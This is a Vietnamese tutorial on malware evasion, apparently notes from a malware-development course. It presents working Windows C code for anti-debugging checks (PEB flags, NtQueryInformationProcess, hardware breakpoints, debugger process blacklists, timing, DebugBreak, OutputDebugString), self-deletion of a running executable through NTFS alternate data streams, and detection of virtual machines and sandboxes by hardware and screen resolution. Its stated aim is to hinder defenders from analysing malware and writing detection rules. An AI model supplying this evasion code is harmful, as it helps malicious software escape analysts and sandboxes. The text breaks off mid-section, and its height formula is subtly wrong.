Introduction

Là các kỹ thuật giúp ngăn cản hoặc làm chậm blue team trong việc phân tích malware để tìm kiếm các static và dynamic signature dùng cho việc xây dựng IoC. Chúng ta sẽ phân ra làm 2 loại là anti-debugging và anti-virtualization.

Sandbox Environments

Sandbox là môi trường biệt lập dùng để thực thi phần mềm mà không làm ảnh hưởng đến hệ thống chạy sandbox. Trong ngữ cảnh bảo mật, sandbox cho phép phân tích malware mà không làm ảnh hưởng đến máy chạy sandbox. Một số loại sandbox phục vụ cho mục đích này là Cuckoo SandboxAny.run và Crowdstrike Sandbox.

Anti-Analysis Through Anti-Debugging

Các kỹ thuật anti-debugging được dùng để phát hiện sự tồn tại của việc debugger và thay đổi luồng thực thi nhằm chạy code mà không gây hại. Hơn thế nữa, nếu phát hiện ra debugger, malware có thể dừng tiến trình để nó không thể bị debug được nữa.

Anti-Analysis Through Anti-Virtual Environments

Môi trường ảo hóa (Virtual Environments) là các môi trường biệt lập cung cấp môi trường ảo hóa cho các ứng dụng có thể chạy. Sandbox có thể được xem là một môi trường ảo hóa mặc dù nó không cho phép malware analysts có đầy đủ quyền truy cập vào hệ điều hành như máy ảo.

Việc thực thi malware ở trong máy ảo cần phải được ngăn chặn nếu ta không muốn malware bị phân tích và bị viết các detection rule.

Anti-Debugging - Multiple Techniques

Sau đây là một số kỹ thuật dùng để phát hiện debugger.

Detecting Debuggers Via IsDebuggerPresent

Một trong những cách lâu đời nhất dùng để phát hiện debugger là sử dụng hàm IsDebuggerPresent:

if (IsDebuggerPresent()) {
  printf("[i] IsDebuggerPresent detected a debugger \n");
  // Run harmless code..
}

Hàm này sẽ trả về TRUE nếu có debugger được gắn vào tiến trình gọi hàm và FALSE nếu ngược lại.

IsDebuggerPresent Replacement (1)

Tất nhiên, việc sử dụng IsDebuggerPresent có thể làm cho malware trở nên khả nghi hơn và nó còn có thể bị bypass bằng các công cụ chẳng hạn như ScyllaHide, là một plugin giúp anti anti-debugger dành cho x64dbg.

Một cách tiếp cận khác là tự viết hàm IsDebuggerPresent. Cụ thể, ta sẽ kiểm tra xem thành phần BeingDebugged của PEB có được gán giá trị là 1 hay không:

BOOL IsDebuggerPresent2() {
 
  // getting the PEB structure
#ifdef _WIN64
	PPEB					pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
	PPEB					pPeb = (PEB*)(__readfsdword(0x30));
#endif
 
  // checking the 'BeingDebugged' element
  if (pPeb->BeingDebugged == 1) 
    return TRUE;
	
   return FALSE;
}

IsDebuggerPresent Replacement (2)

Một cách khác để custom lại hàm IsDebuggerPresent là sử dụng flag NtGlobalFlag ở trong PEB. Trong trường hợp tiến trình bị debug, flag này sẽ có giá trị là 0x70.

Giá trị 0x70 là sự kết hợp của các flag sau:

  • FLG_HEAP_ENABLE_TAIL_CHECK - 0x10
  • FLG_HEAP_ENABLE_FREE_CHECK - 0x20
  • FLG_HEAP_VALIDATE_PARAMETERS - 0x40

Hiện thực như sau:

#define FLG_HEAP_ENABLE_TAIL_CHECK   0x10
#define FLG_HEAP_ENABLE_FREE_CHECK   0x20
#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
 
BOOL IsDebuggerPresent3() {
 
  // getting the PEB structure
#ifdef _WIN64
	PPEB					pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
	PPEB					pPeb = (PEB*)(__readfsdword(0x30));
#endif
 
  // checking the 'NtGlobalFlag' element
  if (pPeb->NtGlobalFlag == (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS))
    return TRUE;
  
  return FALSE;
}

Warning

Flag NtGlobalFlag chỉ có giá trị là 0x70 nếu tiến trình được tạo ra bởi debugger. Do đó, cách tiếp cận này có thể không sử dụng được nếu debugger được gắn vào tiến trình đã tồn tại.

Detecting Debugger Via NtQueryInformationProcess

Có thể dùng syscall NtQueryInformationProcess để kiểm tra xem tiến trình có đang được debug hay không thông qua 2 flag là ProcessDebugPortProcessDebugObjectHandle.

Nguyên mẫu của syscall NtQueryInformationProcess:

NTSTATUS NtQueryInformationProcess(
  IN    HANDLE           ProcessHandle,               // Process handle for which information is to be retrieved.
  IN    PROCESSINFOCLASS ProcessInformationClass,     // Type of process information to be retrieved
  OUT   PVOID            ProcessInformation,          // Pointer to the buffer into which the function writes the requested information
  IN    ULONG            ProcessInformationLength,    // The size of the buffer pointed to by the 'ProcessInformation' parameter 
  OUT   PULONG           ReturnLength                 // Pointer to a variable in which the function returns the size of the requested information
);

Theo mô tả của Microsoft thì flag ProcessDebugPort sẽ yêu cầu syscall NtQueryInformationProcess trả về một giá trị DWORD_PTR là port của debugger đang debug tiến trình thông qua tham số ProcessInformation.

Giá trị khác 0 đồng nghĩa với việc tiến trình đang bị debug bởi một debugger.

NTSTATUS                      STATUS                        = NULL;
DWORD64                       dwIsDebuggerPresent           = NULL;
 
// Calling NtQueryInformationProcess with the 'ProcessDebugPort' flag
STATUS = pNtQueryInformationProcess(
	GetCurrentProcess(),
	ProcessDebugPort,
	&dwIsDebuggerPresent,
	sizeof(DWORD64),
	NULL
);
 
if (STATUS != 0x0) {
	printf("\t[!] NtQueryInformationProcess [1] Failed With Status : 0x%0.8X \n", STATUS);
	return FALSE;
}
 
// If NtQueryInformationProcess returned a non-zero value, the handle is valid, which means we are being debugged
if (dwIsDebuggerPresent != NULL) {
	// detected a debugger
	return TRUE;
}

Trong khi đó, flag ProcessDebugObjectHandle sẽ yêu cầu syscall NtQueryInformationProcess trả về handle của debug object, được tạo ra nếu tiến trình bị debug bởi debugger. Tương tự, giá trị yêu cầu sẽ được trả về sẽ thông qua tham số ProcessInformation.

Trong trường hợp NtQueryInformationProcess không thể trả về handle của debug object, nó sẽ trả về mã lỗi 0xC0000353, tương ứng với STATUS_PORT_NOT_SET dựa trên danh sách các giá trị của NTSTATUS.

DWORD64                       hProcessDebugObject           = NULL;
 
// Calling NtQueryInformationProcess with the 'ProcessDebugObjectHandle' flag
STATUS = pNtQueryInformationProcess(
	GetCurrentProcess(),
	ProcessDebugObjectHandle,
	&hProcessDebugObject,
	sizeof(DWORD64),
	NULL
);
 
// If STATUS is not 0 and not 0xC0000353 (that is 'STATUS_PORT_NOT_SET')
if (STATUS != 0x0 && STATUS != 0xC0000353) {
	printf("\t[!] NtQueryInformationProcess [2] Failed With Status : 0x%0.8X \n", STATUS);
	return FALSE;
}
 
// If NtQueryInformationProcess returned a non-zero value, the handle is valid, which means we are being debugged
if (hProcessDebugObject != NULL) {
	// detected a debugger
	return TRUE;
}

Detecting Debugger Via Hardware Breakpoints

Phương pháp này chỉ hoạt động nếu malware analyst có đặt các breakpoint phần cứng (hay còn được gọi là hardware debug registers, là một tính năng của các CPU hiện đại cho phép dừng việc thực thi chương trình khi một địa chỉ vùng nhớ hoặc một event nhất định được kích hoạt). Các hardware breakpoint được hiện thực ở trong bản thân CPU nên nó nhanh hơn và hiệu quả hơn các breakpoint thông thường, vốn phụ thuộc vào OS hoặc debugger để kiểm tra việc thực thi của chương trình một cách định kỳ.

Khi hardware breakpoint được đặt, một số thanh ghi sẽ thay đổi giá trị. Ta có thể lợi dụng điều này để phát hiện debugger. Cụ thể hơn, nếu thanh ghi Dr0Dr1Dr2 và Dr3 chứa giá trị khác 0 thì ta biết rằng hardware breakpoint đã được đặt.

Ví dụ bên dưới cho thấy sau khi đặt hardware breakpoint ở syscall ZwAllocateVirtualMemory, thanh ghi Dr0 sẽ chứa địa chỉ của syscall đó:

Để lấy giá trị của các thanh ghi trên, chúng ta sẽ sử dụng hàm GetThreadContext1. Giá trị trả về của hàm này là cấu trúc CONTEXT mà có chứa giá trị của các thanh ghi Dr0, Dr1, Dr2Dr3.

BOOL HardwareBpCheck() {
 
	CONTEXT		Ctx		= { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
 
	if (!GetThreadContext(GetCurrentThread(), &Ctx)) {
		printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	if (Ctx.Dr0 != NULL || Ctx.Dr1 != NULL || Ctx.Dr2 != NULL || Ctx.Dr3 != NULL)
		return TRUE; // Detected a debugger
 
	return FALSE;
}

Detecting Debuggers Via BlackListed Arrays

Một cách khác để phát hiện debugger là kiểm tra xem danh sách các tiến trình hiện tại trong máy có tiến trình nào khớp với một blacklist chứa tên của các debugger hay không.

Ví dụ, blacklist có thể có dạng như sau:

#define BLACKLISTARRAY_SIZE 5 // Number of elements inside the array
 
WCHAR* g_BlackListedDebuggers[BLACKLISTARRAY_SIZE] = {
		L"x64dbg.exe",                 // xdbg debugger	
		L"ida.exe",                    // IDA disassembler
		L"ida64.exe",                  // IDA disassembler
		L"VsDebugConsole.exe",         // Visual Studio debugger	
		L"msvsmon.exe"                 // Visual Studio debugger
};

Tip

Chúng ta có thể sử dụng hàm băm để che giấu các chuỗi trong blacklist nhằm giảm thiểu số lượng các IoC.

Hàm bên dưới sử dụng CreateToolhelp32Snapshot để lấy danh sách các tiến trình hiện tại trong máy và so sánh với blacklist:

BOOL BlackListedProcessesCheck() {
 
	HANDLE				hSnapShot		= NULL;
	PROCESSENTRY32W		ProcEntry		= { .dwSize = sizeof(PROCESSENTRY32W) };
	BOOL				bSTATE			= FALSE;
 
 
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}
 
	if (!Process32FirstW(hSnapShot, &ProcEntry)) {
		printf("\t[!] Process32FirstW Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}
 
	do {
		// Loops through the 'g_BlackListedDebuggers' array and comparing each element to the 
		// Current process name captured from the snapshot 
		for (int i = 0; i < BLACKLISTARRAY_SIZE; i++){
			if (wcscmp(ProcEntry.szExeFile, g_BlackListedDebuggers[i]) == 0) { 
				// Debugger detected	
				wprintf(L"\t[i] Found \"%s\" Of Pid : %d \n", ProcEntry.szExeFile, ProcEntry.th32ProcessID);
				bSTATE = TRUE;
				break;
			}
		}
	
	} while (Process32Next(hSnapShot, &ProcEntry));
 
 
_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	return bSTATE;
}

Breakpoint Detection Via GetTickCount64

Việc dừng quá trình thực thi có thể được dùng làm dấu hiệu phát hiện debugger. Cụ thể hơn, ta sẽ sử dụng hàm GetTickCount64 để lấy 2 mốc thời gian (đơn vị milliseconds) và tính khoảng thời gian giữa chúng. Nếu khoảng thời gian này là quá nhiều so với một mức nào đó mà ta tự quy định, ta biết rằng tiến trình đang bị debug.

Ví dụ, khi chạy malware ở trên máy và thấy T2 - T1 là 20 giây, ta có thể sử dụng giá trị này làm giới hạn. Nếu trong lúc chạy ở máy nạn nhân, giá trị T2 - T1 lớn hơn 20 thì ta biết rằng malware đang bị debug.

Hàm dưới sử dụng giới hạn là 50 milliseconds:

BOOL TimeTickCheck1() {
 
	DWORD	dwTime1		= NULL,
		    dwTime2		= NULL;
 
	dwTime1 = GetTickCount64();
 
/*
		OTHER CODE			
*/
	
	dwTime2 = GetTickCount64();
	
	printf("\t[i] (dwTime2 - dwTime1) : %d \n", (dwTime2 - dwTime1));
 
	if ((dwTime2 - dwTime1) > 50) {
		return TRUE;
	}
 
	return FALSE;
}

Breakpoint Detection Via QueryPerformanceCounter

Hàm QueryPerformanceCounter tương tự với GetTickCount64 nhưng do nó sử dụng một performance counter có độ phân giải cao được cung cấp bởi phần cứng nên nó có thể đếm thời gian với đơn vị là nanoseconds (hay count).

Hàm bên dưới sẽ trả về TRUE nếu Time2.QuadPart - Time1.QuadPart vượt quá giá trị 100000 count (tương đương với 0.1 milliseconds).

BOOL TimeTickCheck2() {
 
	LARGE_INTEGER	Time1	= { 0 },
			        Time2	= { 0 };
 
	if (!QueryPerformanceCounter(&Time1)) {
		printf("\t[!] QueryPerformanceCounter [1] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
/*
		OTHER CODE			
*/
 
	if (!QueryPerformanceCounter(&Time2)) {
		printf("\t[!] QueryPerformanceCounter [2] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	printf("\t[i] (Time2.QuadPart - Time1.QuadPart) : %d \n", (Time2.QuadPart - Time1.QuadPart));
	
	if ((Time2.QuadPart - Time1.QuadPart) > 100000){
		return TRUE;
	}
 
	return FALSE;
}

Detecting Debugger Via DebugBreak

Hàm DebugBreak sẽ gây ra một breakpoint exception (EXCEPTION_BREAKPOINT - 0x80000003) ở trong tiến trình hiện tại. Exception này được mong chờ là sẽ được xử lý bởi debugger đang gắn vào tiến trình hiện tại nếu có. Mục đích của kỹ thuật này là trigger exception và xem thử có debugger nào cố gắng xử lý nó hay không.

Info

Ở trong Windows API, exception handler là đoạn code được dùng để xử lý ngoại lệ và có cấu trúc như sau:

__try 
{
    // guarded body of code 
 
} 
__except (filter-expression) 
{ 
    // exception-handler block 
 
}

Với filter-expression có thể là một trong số các giá trị sau:

  • EXCEPTION_EXECUTE_HANDLER - xử lý ngoại lệ.
  • EXCEPTION_CONTINUE_SEARCH - tiếp tục tìm kiếm cho một exception handler khác.
  • EXCEPTION_CONTINUE_EXECUTION - tiếp tục thực thi.

Ngoài ra, chúng ta sẽ sử dụng hàm GetExceptionCode để kiểm tra code của exception.

BOOL DebugBreakCheck() {
 
	__try {
		DebugBreak();
	}
	__except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {
		// if the exception is equal to EXCEPTION_BREAKPOINT, EXCEPTION_EXECUTE_HANDLER is executed and the function return FALSE
		return FALSE;
	}
	
	// if the exception is not equal to EXCEPTION_BREAKPOINT, EXCEPTION_CONTINUE_SEARCH is executed and the function return TRUE
	return TRUE;
}

Có 2 trường hợp sẽ xảy ra:

  1. Nếu exception code là EXCEPTION_BREAKPOINT thì đồng nghĩa với việc exception được raised từ DebugBreak chưa được xử lý bởi debugger. Khi đó, ta cần phải xử lý exception bằng cách sử dụng EXCEPTION_EXECUTE_HANDLER nhằm cho phép đoạn code trong khối lệnh __except được thực thi.
  2. Nếu exception code không phải là EXCEPTION_BREAKPOINT thì đồng nghĩa với việc exception đã được xử lý bởi debugger mà không dùng đoạn exception handler của chúng ta và exception hiện tại là một exception nào đó khác. Trong trường hợp này, ta cần sử dụng EXCEPTION_CONTINUE_EXECUTION để chuyển giao việc xử lý exception đến cho một handler nào đó khác có trong call stack.

Seealso

Tham khảo Grok3.

Detecting Debugger Via OutputDebugString

Hàm OutputDebugStringW trong Windows API là một công cụ hữu ích để phát hiện sự hiện diện của debugger. Hàm này được thiết kế nhằm gửi một chuỗi ký tự đến debugger để hiển thị. Khi có debugger, nó sẽ cập nhật error code cuối cùng (giá trị trả về từ GetLastError) thành 0, biểu thị không có lỗi.

Trong trường hợp ngược lại:

If the application does not have a debugger and the system debugger is not active, OutputDebugString does nothing.

Như vậy, nếu không có debugger (kể cả system debugger) thì OutputDebugString sẽ không làm gì mà cụ thể hơn là nó sẽ không tác động đến giá trị trả về của GetLastError. Dẫn đến, chúng ta không thể phụ thuộc vào GetLastError sau khi gọi OutputDebugString để biết được rằng có debugger hay không.

Thay vào đó, ta nên phụ thuộc vào việc debugger có gán giá trị của last error code thành 0 hay không.

Có thể thấy trong đoạn code bên dưới, ta gán last error code thành một giá trị khác 0 để xem thử có debugger nào gán nó lại về 0 hay không:

BOOL OutputDebugStringCheck() {
 
	SetLastError(1);
	OutputDebugStringW(L"MalDev Academy");
	
	// if GetLastError is 0, then OutputDebugStringW succeeded
	if (GetLastError() == 0) {
		return TRUE;
	}
 
	return FALSE;
}

Nếu GetLastError0 thì đồng nghĩa với việc có debugger.

Seealso

Tham khảo Grok3.

Anti-Debugging - Self-Deletion

Chúng ta sẽ triển khai một kỹ thuật chống debug bằng cách tự động xóa malware khi phát hiện có debugger.

Windows’s Alternate Data Stream (ADS)

Hệ thống tập tin NTFS có một chức năng tên là Alternate Data Stream (ADS), là một tính năng ẩn được dùng để tăng tính tương thích với các file trong hệ thống tập tin Macintosh. ADS cho phép các file có nhiều hơn một luồng dữ liệu (data stream hay stream of data). Mỗi file có ít nhất một luồng dữ liệu và ở trong Windows thì luồng dữ liệu mặc định là :$DATA.

Để tạo ra một ADS hoặc ghi dữ liệu vào ADS thì ta có thể dùng toán tử : sau tên file. Ví dụ, câu lệnh sau ghi chuỗi secret vào ADS có tên là hidden của file.txt:

echo 123 > file.txt
echo secret > '.\file.txt:hidden'

Important

Đường dẫn đến ADS cần phải nằm trong dấu nháy đơn (').

Để truy cập vào ADS thì ta cũng dùng toán tử : như sau:

cat '.\file.txt:hidden'
secret

ADS mặc định (:$DATA) có thể truy cập theo 2 cách:

cat '.\file.txt'
123
cat '.\file.txt::$DATA'
123

Tip

Có thể sử dụng công cụ AlternateStreamView - View/Copy/Delete NTFS Alternate Data Streams để làm việc với các ADS của file.

Ngoài ra, ta cũng có thể dùng lệnh sau của PowerShell để liệt kê các ADS của file:

Get-Item -Path <Path> -Stream *

Deleting A Running Binary

Ở trong Windows, chúng ta không thể xóa một file nếu có một tiến trình đang sử dụng nó.

Việc sử dụng DeleteFileA cũng không thành công và GetLastError sẽ trả về lỗi ERROR_ACCESS_DENIED.

Để giải quyết vấn đề này, đối với file thực thi, ta sẽ đổi tên default data stream :$DATA thành một data stream khác rồi xóa data stream :$DATA. Khi đó, file thực thi sẽ bị xóa khỏi ổ đĩa (nhưng vẫn còn tồn tại ở trong vùng nhớ).

Important

Việc đổi tên của data stream mặc định thực chất là tạo ra một data stream mới rồi sao chép nội dung của data stream cũ qua.

Ví dụ, đây là danh sách các data stream trước khi thực thi của malware:

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\MaldevUser\Desktop\Module-Code\Module-72\SelfDeletion\SelfDeletion\x64\Debug\SelfDeletion.exe::$DATA
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\MaldevUser\Desktop\Module-Code\Module-72\SelfDeletion\SelfDeletion\x64\Debug
PSChildName   : SelfDeletion.exe::$DATA
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\MaldevUser\Desktop\Module-Code\Module-72\SelfDeletion\SelfDeletion\x64\Debug\SelfDeletion.exe
Stream        : :$DATA
Length        : 67072

Còn đây là danh sách các data stream sau khi thực hiện đổi tên:

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\MaldevUser\Desktop\Module-Code\Module-72\SelfDeletion\Se
                lfDeletion\x64\Debug\SelfDeletion.exe::$DATA
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\MaldevUser\Desktop\Module-Code\Module-72\SelfDeletion\Se
                lfDeletion\x64\Debug
PSChildName   : SelfDeletion.exe::$DATA
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\MaldevUser\Desktop\Module-Code\Module-72\SelfDeletion\SelfDeletion\x64\Debug\SelfDeletion.exe
Stream        : :$DATA
Length        : 0
 
PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\MaldevUser\Desktop\Module-Code\Module-72\SelfDeletion\SelfDeletion\x64\Debug\SelfDeletion.exe:Mal
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\MaldevUser\Desktop\Module-Code\Module-72\SelfDeletion\SelfDeletion\x64\Debug
PSChildName   : SelfDeletion.exe:Mal
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\devUser\Desktop\Module-Code\Module-72\SelfDeletion\SelfDeletion\x64\Debug\SelfDeletion.exe
Stream        : Mal
Length        : 67072

Get File Path of the Current Process

Ta sẽ sử dụng hàm GetModuleFileNameW để lấy ra đường dẫn của tiến trình hiện tại bằng cách truyền NULL vào tham số đầu tiên:

WCHAR                       szPath [MAX_PATH * 2] = { 0 };
 
ZeroMemory(szPath, sizeof(szPath));
 
// Used to get the current file name
if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
	printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Retrieve File Handle

Sau đó, ta cần lấy ra handle của file thông qua hàm CreateFile với đường dẫn vừa lấy được và access flagDELETE để ta có thể xóa nó.

HANDLE                      hFile                 = INVALID_HANDLE_VALUE;
 
// Opening a handle to the current file
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
	printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Renaming The Data Stream

Chúng ta sẽ sử dụng hàm SetFileInformationByHandle để đổi tên của data stream mặc định. Nguyên mẫu của hàm này:

BOOL SetFileInformationByHandle(
  [in] HANDLE                    hFile,                       // Handle to the file for which to change information.
  [in] FILE_INFO_BY_HANDLE_CLASS FileInformationClass,        // Flag value that specifies the type of information to be changed
  [in] LPVOID                    lpFileInformation,           // Pointer to the buffer that contains the information to change for 
  [in] DWORD                     dwBufferSize                 // The size of 'lpFileInformation' buffer in bytes
);

Giá trị truyền vào FileInformationClass cần phải là giá trị của enum FILE_INFO_BY_HANDLE_CLASS mà cụ thể là FileNameInfo.

Khi FileInformationClass có giá trị là FileNameInfo, đối số truyền vào lpFileInformation cần phải là con trỏ đến cấu trúc FILE_RENAME_INFO, được định nghĩa như sau:

typedef struct _FILE_RENAME_INFO {
  union {
    BOOLEAN ReplaceIfExists;
    DWORD   Flags;
  } DUMMYUNIONNAME;
  BOOLEAN ReplaceIfExists;
  HANDLE  RootDirectory;
  DWORD   FileNameLength;   // The size of 'FileName' in bytes
  WCHAR   FileName[1];      // The new name
} FILE_RENAME_INFO, *PFILE_RENAME_INFO;

Hai tham số cần khởi tạo giá trị là FileNameLengthFileName với FileName được mô tả bởi Microsoft như sau:

Như vậy, FileName cần phải là một chuỗi Unicode mà bắt đầu bằng ký tự : và kết thúc bằng ký tự \0.

// The new data stream name
#define NEW_STREAM L":Maldev"
 
PFILE_RENAME_INFO           pRename               = NULL;
const wchar_t*              NewStream             = (const wchar_t*)NEW_STREAM;
SIZE_T                      sRename               = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
 
// Allocating enough buffer for the 'FILE_RENAME_INFO' structure
pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) {
	printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
	return FALSE;
}
 
// Setting the new data stream name buffer and size in the 'FILE_RENAME_INFO' structure
pRename->FileNameLength = sizeof(NewStream);
RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));

Sau khi khởi tạo cấu trúc FILE_RENAME_INFO thì ta gọi SetFileInformationByHandle như sau:

// Renaming the data stream
if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
	printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Với pRename chính là con trỏ đến cấu trúc FILE_RENAME_INFO mà ta đã khởi tạo.

Refreshing File Data Stream

Sau khi gọi SetFileInformationByHandle lần đầu để đổi tên data stream, handle của file cần phải được đóng lại và mở ra sử dụng hàm CloseHandle và hàm CreateFile. Điều này giúp đảm bảo handle của file có chứa data stream mới.

Deleting The Data Stream

Bước cuối cùng là xóa data stream :$DATA nhằm xóa file ra khỏi disk. Để làm điều này, ta cũng sử dụng hàm SetFileInformationByHandle nhưng với flag FileDispositionInfo, giúp đánh dấu file sẽ bị xóa sau khi handle đến file bị đóng lại. Khi sử dụng FileDispositionInfo, đối số truyền vào tham số lpFileInformation cần phải là một con trỏ đến cấu trúc FILE_DISPOSITION_INFO , được định nghĩa như sau:

typedef struct _FILE_DISPOSITION_INFO {
  BOOLEAN DeleteFile;       // Set to 'TRUE' to mark the file for deletion
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;

Với thành phần DeleteFile cần phải được gán bằng TRUE để thực hiện xóa file.

FILE_DISPOSITION_INFO       Delete                = { 0 };
 
// Cleaning up some structures
ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
 
// Marking the file for deletion (used in the 2nd SetFileInformationByHandle call) 
Delete.DeleteFile = TRUE;
 
// Marking for deletion after the file's handle is closed
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
	printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Anti-Virtual Environments - Multiple Techniques

Anti-Virtualization Via Hardware Specs

Môi trường ảo hóa không có đầy đủ quyền truy cập đến phần cứng của host system (hệ thống chạy máy ảo). Đặc điểm này có thể được dùng để phát hiện xem malware có đang được chạy ở trong môi trường ảo hóa hay không.

Note

Cách tiếp cận này có thể không chính xác do máy nạn nhân cũng có thể chạy ở cấu hình thấp giống với máy ảo.

Các cấu hình mà ta sẽ kiểm tra là:

  • CPU: kiểm tra xem có ít hơn 2 CPU hay không.
  • RAM: kiểm tra xem có ít hơn 2 GB hay không.
  • Số lượng các USB khác nhau đã được cắm vào có ít hơn 2 hay không.

CPU Check

Chúng ta sẽ sử dụng hàm GetSystemInfo để kiểm tra số lượng CPU. Hàm này sẽ trả về thông tin thông qua cấu trúc SYSTEM_INFO.

SYSTEM_INFO   SysInfo   = { 0 };
 
GetSystemInfo(&SysInfo);
if (SysInfo.dwNumberOfProcessors < 2){
	// possibly a virtualized environment
}

RAM Check

Có thể kiểm tra dung lượng RAM bằng cách sử dụng hàm GlobalMemoryStatusEx. Thông tin trả về sẽ nằm trong thành phần ullTotalPhys của cấu trúc MEMORYSTATUSEX, vốn chứa thông tin về trạng thái hiện tại của bộ nhớ vật lý và bộ nhớ ảo trong hệ thống.

MEMORYSTATUSEX MemStatus = { .dwLength = sizeof(MEMORYSTATUSEX) };
 
if (!GlobalMemoryStatusEx(&MemStatus)) {
	printf("\n\t[!] GlobalMemoryStatusEx Failed With Error : %d \n", GetLastError());
}
 
if ((DWORD)MemStatus.ullTotalPhys <= (DWORD)(2 * 1073741824)) {
 // Possibly a virtualized environment
}

Với 2 * 1073741824 là số lượng byte có trong 2 GB.

Previously Mounted USBs Check

Ta có thể kiểm tra số lượng các USB khác nhau đã được cắm vào máy thông qua registry key HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USBSTOR.

HKEY    hKey            = NULL;
DWORD   dwUsbNumber     = NULL;
DWORD   dwRegErr        = NULL;
 
 
if ((dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", NULL, KEY_READ, &hKey)) != ERROR_SUCCESS) {
	printf("\n\t[!] RegOpenKeyExA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
}
 
if ((dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != ERROR_SUCCESS) {
	printf("\n\t[!] RegQueryInfoKeyA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
}
 
// Less than 2 USBs previously mounted 
if (dwUsbNumber < 2) {
	// possibly a virtualized environment
}

Tip

Ta hoàn toàn có thể tùy chỉnh các thông số phần cứng ở trên cũng như là cắm USB vào máy ảo để giả lập một máy bình thường nhằm bypass các kiểm tra của malware.

Anti-Virtualization Via Machine Resolution

Trong môi trường của sandbox, độ phân giải của màn hình thường có giá trị rất thấp hoặc không hợp lý và do đó mà ta có thể dùng đặc điểm này để làm dấu hiệu nhận diện sandbox.

Info

Một số độ phân giải mà ta cho là hợp lý:

  • 1920x1080, 1920x1200, 1920x1600, 1920x900
  • 2560x1080, 2560x1200, 2560x1600, 1920x900
  • 1440x1080, 1440x1200, 1440x1600, 1920x900

Trước tiên, ta cần xác định số lượng màn hình của host system thông qua hàm EnumDisplayMonitors, có nguyên mẫu như sau:

BOOL EnumDisplayMonitors(
  [in] HDC             hdc,
  [in] LPCRECT         lprcClip,
  [in] MONITORENUMPROC lpfnEnum,
  [in] LPARAM          dwData
);

Với tham số lpfnEnum là một callback function mà sẽ được gọi đối với mỗi màn hình mà hàm EnumDisplayMonitors phát hiện được. Nguyên mẫu của callback:

BOOL CALLBACK ResolutionCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM ldata) {
	// ...
}

Ở trong callback này, chúng ta sẽ phải gọi GetMonitorInfoW để truy xuất độ phân giải của màn hình, có nguyên mẫu như sau:

BOOL GetMonitorInfoW(
  [in]  HMONITOR      hMonitor,
  [out] LPMONITORINFO lpmi
);

Với kiểu LPMONITORINFO của tham số lpmi được trả về có định nghĩa như sau:

typedef struct tagMONITORINFO {
  DWORD cbSize;			// The size of the structure
  RECT  rcMonitor;		// Display monitor rectangle, expressed in virtual-screen coordinates
  RECT  rcWork;			// Work area rectangle of the display monitor, expressed in virtual-screen coordinates
  DWORD dwFlags;		    // Represents attributes of the display monito
} MONITORINFO, *LPMONITORINFO;

Thành phần mà ta cần quan tâm là rcMonitor với kiểu dữ liệu là RECT, giúp định nghĩa một hình chữ nhật thông qua 2 cặp tọa độ X và Y của góc trái-trên và góc phải-dưới. Sau khi có rcMonitor, ta sẽ tính toán chiều rộng và chiều dài của màn hình bằng hai công thức sau:

  1. Chiều rộng: MONITORINFO.rcMonitor.right - MONITORINFO.rcMonitor.left
  2. Chiều dài: MONITORINFO.rcMonitor.top - MONITORINFO.rcMonitor.bottom

